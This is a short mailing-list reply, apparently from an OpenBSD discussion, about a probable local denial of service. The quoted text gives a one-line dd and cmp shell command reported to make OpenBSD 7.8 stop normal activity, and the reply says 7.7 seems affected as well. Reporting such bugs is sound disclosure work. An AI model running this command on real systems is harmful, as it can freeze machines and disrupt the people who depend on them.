Re: Probably local denial of service

[Eternity Crew]

OpenBSD 7.7 seems to be affected as well.

On Thu, Oct 23, 2025 at 4:00 AM H. Hartzer <h...@hartzer.sh> wrote:
>
> On Wed Oct 22, 2025 at 7:04 PM UTC, Eternity Crew wrote:
> > The following seems sufficient to cause OpenBSD 7.8 to cease all
> > normal activities:
> >
> > $ dd if=/dev/null of=1 bs=1m seek=8000000; (ulimit -t 1; cmp 1 1)
> >
> > Therefore, this is probably a local DoS.
>
> Can you confirm if OpenBSD 7.7 handled this differently?
>
> -Henrich